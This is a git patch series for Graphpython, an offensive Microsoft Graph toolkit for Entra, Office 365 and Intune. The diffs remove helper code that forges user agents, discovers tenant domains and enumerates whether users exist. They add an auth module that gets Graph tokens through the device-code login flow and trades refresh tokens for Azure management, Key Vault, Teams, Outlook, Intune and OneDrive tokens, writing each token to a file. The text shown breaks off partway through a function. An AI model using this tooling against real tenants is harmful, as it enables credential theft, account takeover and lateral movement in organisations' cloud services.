'IE': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - else: - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - - return user_agent - -def get_user_agent(args): - if args.device: - if args.browser: - return forge_user_agent(device=args.device, browser=args.browser) - else: - return forge_user_agent(device=args.device) - else: - if args.browser: - return forge_user_agent(browser=args.browser) - else: - return forge_user_agent() - -def get_access_token(token_input): - if os.path.isfile(token_input): - encodings = ['utf-8', 'utf-16', 'ascii', 'iso-8859-1'] - for encoding in encodings: - try: - with open(token_input, 'r', encoding=encoding) as file: - access_token = file.read().strip() - return access_token - except UnicodeDecodeError: - continue - - raise ValueError(f"Unable to decode the file {token_input} with any of the tried encodings.") - else: - access_token = token_input - return access_token - -def read_file_content(file_path): - try: - with open(file_path, 'r', encoding='utf-8') as file: - return file.read() - except UnicodeDecodeError: - with open(file_path, 'r', encoding='utf-16') as file: - return file.read() - -def format_list_style(data): - if not data.get('value'): - print_red("[-] No data found") - return - - for d in data.get('value', []): - for key, value in d.items(): - print(f"{key} : {value}") - print("\n") - -def read_and_encode_cert(cert_path): - try: - if not os.path.isfile(cert_path): - print_red(f"[-] The certificate file '{cert_path}' does not exist.") - return None - with open(cert_path, 'rb') as cert_file: - cert_data = cert_file.read() - # Base64 encode the binary data - encoded_cert = base64.b64encode(cert_data).decode('ascii') - return encoded_cert - except Exception as e: - print_red(f"[-] Error reading certificate: {str(e)}") - return None - -def highlight_search_term(text, search_term): - return text.replace(search_term, colored(search_term, 'green')) - -def graph_api_get(access_token, url, args): - try: - output_returned = False - while url: - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - - if filtered_data: - format_list_style(filtered_data) - output_returned = True - - url = response_body.get("@odata.nextLink") - - if not output_returned: - print_red("[-] No data found") - - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - -def get_tenant_domains(domain): - - domains = [domain] - try: - openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" - response = requests.get(openid_config_url) - response.raise_for_status() - openid_config = response.json() - tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "") - - if tenant_region_sub_scope == "DOD": - autodiscover_url = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc" - elif tenant_region_sub_scope == "DODCON": - autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc" - else: - autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" - - autodiscover_body = f""" - - - - http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation - {autodiscover_url} - - http://www.w3.org/2005/08/addressing/anonymous - - - - - - {domain} - - - - - """.strip() - - headers = { - "Content-Type": "text/xml; charset=utf-8", - "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"', - "User-Agent": "AutodiscoverClient" - } - - autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers) - autodiscover_response.raise_for_status() - autodiscover_xml = autodiscover_response.content - tree = ET.ElementTree(ET.fromstring(autodiscover_xml)) - namespaces = { - 's': 'http://schemas.xmlsoap.org/soap/envelope/', - 'a': 'http://www.w3.org/2005/08/addressing', - 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', - 't': 'http://schemas.microsoft.com/exchange/services/2006/types', - 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover' - } - - found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)] - - if domain not in found_domains: - found_domains.append(domain) - - domains = sorted(found_domains) - - except Exception as e: - print(f"An unexpected error occurred: {e}") - - return domains - -############## -# NOT IN USE # -############## -def get_credential_type(username, flow_token=None, original_request=None): - body = { - "username": username, - "isOtherIdpSupported": True, - "checkPhones": True, - "isRemoteNGCSupported": False, - "isCookieBannerShown": False, - "isFidoSupported": False, - "originalRequest": original_request, - "flowToken": flow_token - } - - if original_request: - body["isAccessPassSupported"] = True - - try: - response = requests.post("https://login.microsoftonline.com/common/GetCredentialType", - json=body, - headers={"Content-Type": "application/json; charset=UTF-8"}) - response.raise_for_status() - return response.json() - except requests.exceptions.RequestException as e: - print(f"Error in Get-CredentialType: {e}") - return None - -############## -# NOT IN USE # -############## -def get_rst_token(url, endpoint_address, username, password="none"): - request_id = str(uuid.uuid4()) - now = datetime.utcnow() - created = now.isoformat() + "Z" - expires = (now + timedelta(minutes=10)).isoformat() + "Z" - - body = f""" - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - {url} - urn:uuid:{str(uuid.uuid4())} - - - {created} - {expires} - - - {username} - {password} - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - {endpoint_address} - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - - - """ - - try: - response = requests.post(url, - data=body, - headers={"Content-Type": "application/soap+xml; charset=UTF-8"}, - timeout=10) - response.raise_for_status() - response_xml = response.content - - if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode(): - return True - return False - except requests.exceptions.RequestException as e: - print(f"Error in Get-RSTToken: {e}") - return None - -############## -# NOT IN USE # -############## -def does_user_exist(user, method="Normal"): - exists = False - error_details = "" - - if method == "Normal": - cred_type = get_credential_type(user) - if cred_type: - if cred_type.get('ThrottleStatus') == 1: - print("Requests throttled!") - return None - exists = cred_type.get('IfExistsResult') in [0, 6] - else: - if method == "Login": - random_guid = str(uuid.uuid4()) - body = { - "resource": random_guid, - "client_id": random_guid, - "grant_type": "password", - "username": user, - "password": "none", - "scope": "openid" - } - try: - response = requests.post("https://login.microsoftonline.com/common/oauth2/token", - data=body, - headers={"Content-Type": "application/x-www-form-urlencoded"}) - response.raise_for_status() - exists = True - except requests.exceptions.RequestException as e: - error_details = e.response.json().get("error_description", "") - - elif method in ["Autologon", "RST2"]: - request_id = str(uuid.uuid4()) - domain = user.split("@")[1] - password = "none" - now = datetime.utcnow() - created = now.isoformat() + "Z" - expires = (now + timedelta(minutes=10)).isoformat() + "Z" - - if method == "RST2": - url = "https://login.microsoftonline.com/RST2.srf" - end_point = "sharepoint.com" - else: - url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}" - end_point = "urn:federation:MicrosoftOnline" - - try: - response = get_rst_token(url, end_point, user, password) - exists = response is not None - except Exception as e: - error_details = str(e) - - if not exists and error_details: - if error_details.startswith("AADSTS50053"): - exists = True - elif error_details.startswith("AADSTS50126"): - exists = True - elif error_details.startswith("AADSTS50076"): - exists = True - elif error_details.startswith("AADSTS700016"): - exists = True - elif error_details.startswith("AADSTS50034"): - exists = False - elif error_details.startswith("AADSTS50059"): - exists = False - elif error_details.startswith("AADSTS81016"): - print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.") - return None - else: - return None - - return exists - -# todo: -# - add mfasweep functions \ No newline at end of file diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index 9b0439f..0000000 --- a/requirements.txt +++ /dev/null @@ -1,8 +0,0 @@ -requests -pyjwt -dnspython -tqdm -tabulate -cryptography -beautifulsoup4 -termcolor \ No newline at end of file diff --git a/setup.py b/setup.py deleted file mode 100644 index fa0bef5..0000000 --- a/setup.py +++ /dev/null @@ -1,42 +0,0 @@ -from setuptools import setup, find_packages -import os - -with open('README.md', 'r', encoding='utf-8') as f: - long_description = f.read() - -requirements = [] -if os.path.exists('requirements.txt'): - with open('requirements.txt', 'r', encoding='utf-8') as f: - requirements = [x.strip() for x in f.readlines()] - -setup( - name="Graphpython", - version="1.0", - packages=find_packages(), - author="mlcsec", - author_email="mlcsec@proton.me", - description="Modular cross-platform Microsoft Graph API (Entra, o365, and Intune) enumeration and exploitation toolkit", - long_description=long_description, - long_description_content_type="text/markdown", - url="https://github.com/mlcsec/Graphpython", - install_requires=requirements, - classifiers=[ - "Programming Language :: Python :: 3", - "License :: OSI Approved :: MIT License", - "Operating System :: OS Independent", - "Development Status :: 3 - Alpha", - "Intended Audience :: Developers", - "Intended Audience :: Information Technology", - "Topic :: Security", - ], - python_requires='>=3.6', - entry_points={ - "console_scripts": [ - "Graphpython=Graphpython.__main__:main", - ], - }, - include_package_data=True, - package_data={ - 'Graphpython': ['commands/graphpermissions.txt'], - }, -) \ No newline at end of file From 0b3bcf25d482b708795736a0a3d007ad8dccb0b1 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:24:49 +0100 Subject: [PATCH 10/37] Update v1.0 --- Graphpython.py | 6 + Graphpython/MANIFEST.in | 1 + Graphpython/__init__.py | 1 + Graphpython/commands/__init__.py | 1 + Graphpython/commands/auth.py | 1200 ++ Graphpython/commands/cleanup.py | 152 + Graphpython/commands/enum.py | 1108 ++ Graphpython/commands/exploit.py | 1339 ++ Graphpython/commands/graphpermissions.txt | 20665 ++++++++++++++++++++ Graphpython/commands/intune_enum.py | 380 + Graphpython/commands/intune_exploit.py | 2047 ++ Graphpython/commands/locators.py | 180 + Graphpython/commands/outsider.py | 255 + Graphpython/utils/__init__.py | 1 + Graphpython/utils/helpers.py | 606 + requirements.txt | 8 + setup.py | 42 + 17 files changed, 27992 insertions(+) create mode 100644 Graphpython.py create mode 100644 Graphpython/MANIFEST.in create mode 100644 Graphpython/__init__.py create mode 100644 Graphpython/commands/__init__.py create mode 100644 Graphpython/commands/auth.py create mode 100644 Graphpython/commands/cleanup.py create mode 100644 Graphpython/commands/enum.py create mode 100644 Graphpython/commands/exploit.py create mode 100644 Graphpython/commands/graphpermissions.txt create mode 100644 Graphpython/commands/intune_enum.py create mode 100644 Graphpython/commands/intune_exploit.py create mode 100644 Graphpython/commands/locators.py create mode 100644 Graphpython/commands/outsider.py create mode 100644 Graphpython/utils/__init__.py create mode 100644 Graphpython/utils/helpers.py create mode 100644 requirements.txt create mode 100644 setup.py diff --git a/Graphpython.py b/Graphpython.py new file mode 100644 index 0000000..81913b7 --- /dev/null +++ b/Graphpython.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python3 + +from Graphpython.__main__ import main + +if __name__ == '__main__': + main() diff --git a/Graphpython/MANIFEST.in b/Graphpython/MANIFEST.in new file mode 100644 index 0000000..3923482 --- /dev/null +++ b/Graphpython/MANIFEST.in @@ -0,0 +1 @@ +include graphpython/commands/graphpermissions.txt \ No newline at end of file diff --git a/Graphpython/__init__.py b/Graphpython/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/Graphpython/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/Graphpython/commands/__init__.py b/Graphpython/commands/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/Graphpython/commands/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/Graphpython/commands/auth.py b/Graphpython/commands/auth.py new file mode 100644 index 0000000..3cef678 --- /dev/null +++ b/Graphpython/commands/auth.py @@ -0,0 +1,1200 @@ +import requests +import json +import jwt +import hashlib +import time +import base64 +import uuid +import sys +from datetime import datetime, timedelta, timezone +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.hazmat.backends import default_backend +from urllib.parse import urlencode, urlparse, parse_qs +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +################## +# Authentication # +################## + +# get-graphtokens +def get_graphtokens(args): + print_yellow("[*] Get-GraphTokens") + print("=" * 80) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + resource = "https://graph.microsoft.com" + user_agent = get_user_agent(args) + + body = { + "client_id": client_id, + "resource": resource + } + + headers = { + "User-Agent": user_agent + } + + device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers) + device_code_response_content = device_code_response.content.decode() + device_code = None + message = None + + try: + device_code_json_response = json.loads(device_code_response_content) + device_code = device_code_json_response["device_code"] + message = device_code_json_response["message"] + + except Exception as ex: + print_red(f"[-] Failed to parse device code response: {ex}") + print("=" * 80) + exit() + + print(f"{message}\n") + time.sleep(3) + + start_time = datetime.now() + polling_duration = timedelta(minutes=15) + last_authorization_pending_time = datetime.min + + while datetime.now() - start_time < polling_duration: + token_body = { + "client_id": client_id, + "grant_type": "urn:ietf:params:oauth:grant-type:device_code", + "code": device_code + } + + token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body) + token_response_content = token_response.content.decode() + + if token_response.status_code == 400: + if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1): + print("authorization_pending...") + last_authorization_pending_time = datetime.now() + time.sleep(3) + elif not token_response.ok or "authorization_pending" in token_response_content: + # continue polling + time.sleep(3) + else: + token_json = json.loads(token_response_content) + print_green("\n[+] Token Obtained!\n") + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + file_path = "graph_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + exit() + + print_red("[-] Polling expired. Token not obtained.") + print("=" * 80) + +# get-tenantid +def get_tenantid(args): + if not args.domain: + print_red("[-] Error: --domain argument is required for Get-TenantID command") + return + + print_yellow("[*] Get-TenantID") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "User-Agent": user_agent + } + + try: + response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration", headers=headers) + response.raise_for_status() + response_content = response.content.decode() + + open_id_config = json.loads(response_content) + tenant_id = open_id_config["authorization_endpoint"].split('/')[3] + + print(tenant_id) + + except requests.exceptions.RequestException as ex: + print_red(f"[-] Error retrieving OpenID configuration: {ex}") + print("=" * 80) + + +# get-tokenscope +def get_tokenscope(args): + print_yellow("[*] Get-TokenScope") + print("=" * 80) + + try: + json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) + scope = json_token.get("scp") + if scope: + scope_array = scope.split(' ') + for s in scope_array: + print(s) + else: + print_red("[-] No scopes found in the access token") + + except jwt.DecodeError: + print_red("[-] Invalid access token format") + print("=" * 80) + +# decode-accesstoken +def decode_accesstoken(args): + print_yellow("[*] Decode-AccessToken") + print("=" * 80) + + try: + json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) + for key, value in json_token.items(): + print(f"{key}: {value}") + + except jwt.DecodeError: + print_red("[-] Invalid access token format") + + print("=" * 80) + +# invoke-refreshtomsgraphtoken +def invoke_refreshtomsgraphtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command") + return + + print_yellow("[*] Invoke-RefreshToMSGraphToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://graph.microsoft.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}" + + headers = { + "User-Agent": user_agent + } + + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) + if response.status_code == 200: + print_green("[+] Token Obtained!\n") + token_response = response.json() + for key, value in token_response.items(): + print(f"[*] {key}: {value}") + file_path = "new_graph_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + + else: + print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoazuremanagementtoken +def invoke_refreshtoazuremanagementtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToAzureManagementToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://management.azure.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}" + headers = { + "User-Agent": user_agent + } + + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) + if response.status_code == 200: + print_green("[+] Token Obtained!\n") + token_response = response.json() + for key, value in token_response.items(): + print(f"[*] {key}: {value}") + + file_path = "az_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + else: + print_red(f"[-] Failed to get Azure Management token: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtovaulttoken +def invoke_refreshtovaulttoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToVaultToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + scope = "https://vault.azure.net/.default" + auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" + + headers = { + "User-Agent": user_agent + } + + data = { + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "vault_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Azure Vault token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtomsteamstoken +def invoke_refreshtomsteamstoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command") + return + + print_yellow("[*] Invoke-RefreshToMSTeamsToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + refresh_token = get_access_token(args.token) + resource = "https://api.spaces.skype.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + headers = { + "User-Agent": user_agent + } + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + file_path = "teams_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get MS Teams token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoofficeappstoken +def invoke_refreshtoofficeappstoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command") + return + + print_yellow("[*] Invoke-RefreshToOfficeAppsToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + resource = "https://officeapps.live.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "officeapps_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Office Apps token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoofficemanagementtoken +def invoke_refreshtoofficemanagementtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToOfficeManagementToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2" + refresh_token = get_access_token(args.token) + resource = "https://manage.office.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "officemanagement_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Office Management token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtooutlooktoken +def invoke_refreshtooutlooktoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command") + return + + print_yellow("[*] Invoke-RefreshToOutlookToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://outlook.office365.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "outlook_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Outlook token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtosubstratetoken +def invoke_refreshtosubstratetoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command") + return + + print_yellow("[*] Invoke-RefreshToSubstrateToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://substrate.office.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "substrate_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Substrate token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoyammertoken +def invoke_refreshtoyammertoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command") + return + + print_yellow("[*] Invoke-RefreshToYammerToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://www.yammer.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "yammer_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Yammer token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtointuneenrollmenttoken +def invoke_refreshtointuneenrollmenttoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command") + return + + print_yellow("[*] Invoke-RefreshToIntuneEnrollment") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://enrollment.manage.microsoft.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "intune_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoonedrivetoken +def invoke_refreshtoonedrivetoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command") + return + + print_yellow("[*] Invoke-RefreshToOneDriveToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + resource = "https://officeapps.live.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + 